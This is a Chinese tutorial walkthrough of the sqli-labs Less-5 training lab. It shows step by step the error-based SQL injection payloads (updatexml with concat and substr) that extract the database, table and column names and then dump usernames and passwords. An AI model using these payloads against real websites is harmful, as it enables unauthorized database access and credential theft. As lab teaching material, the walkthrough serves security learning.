SQL注入实例(sqli-labs/less-5)

0、初始页面

1、确定闭合字符

复制代码
?id=1 and 1=1 
?id=1 and 1=2
?id=1'
?id=1' --+

在进行前两句传参时,页面没有发生任何变化,但是当使用单引号闭合时,报错了。通过报错可以确定闭合符号为单引号。

2、爆库名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

3、爆表名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

4、爆列名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)--+

5、查询最终目标

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

因为concat有字符长度限制,所以需要substr搭配使用

复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),32,64)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),64,96)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),96,128)),0x7e),1) --+
相关推荐
三言老师6 小时前
CentOS7.9:Redis服务器部署结构化实战教程
linux·运维·服务器·数据库
番茄炒鸡蛋加糖6 小时前
MySQL 实战调优& 分表基础
数据库·mysql
Database_Cool_6 小时前
云数据库如何保证高可用、故障了怎么办:阿里云 RDS MySQL 高可用架构详解
数据库·mysql·阿里云
中微极客6 小时前
Veo视频生成与Gemini Agent平台集成实践
数据库·人工智能·oracle·音视频
一棵星7 小时前
内网 MySQL 表结构一键导出 Word 文档:直连 + Agent 双模式实战
数据库·mysql·word
向日的葵0067 小时前
Redis会话机制vsJWT机制深度解析
数据库·redis·python·缓存·系统架构·jwt
bosins8 小时前
如何配置SQL Server数据库定时自动备份
数据库
烟雨归来8 小时前
RAC数据库OS进程消失,GV$SESSION长期残留KILLED僵尸会话处理
数据库·oracle
小龙报8 小时前
【优选算法】1. 水果成蓝 2.找到字符串中所有字母的异位词
java·c语言·数据结构·数据库·c++·redis·算法
宇宙第一小趴菜9 小时前
六、Oracle 目录结构
数据库·oracle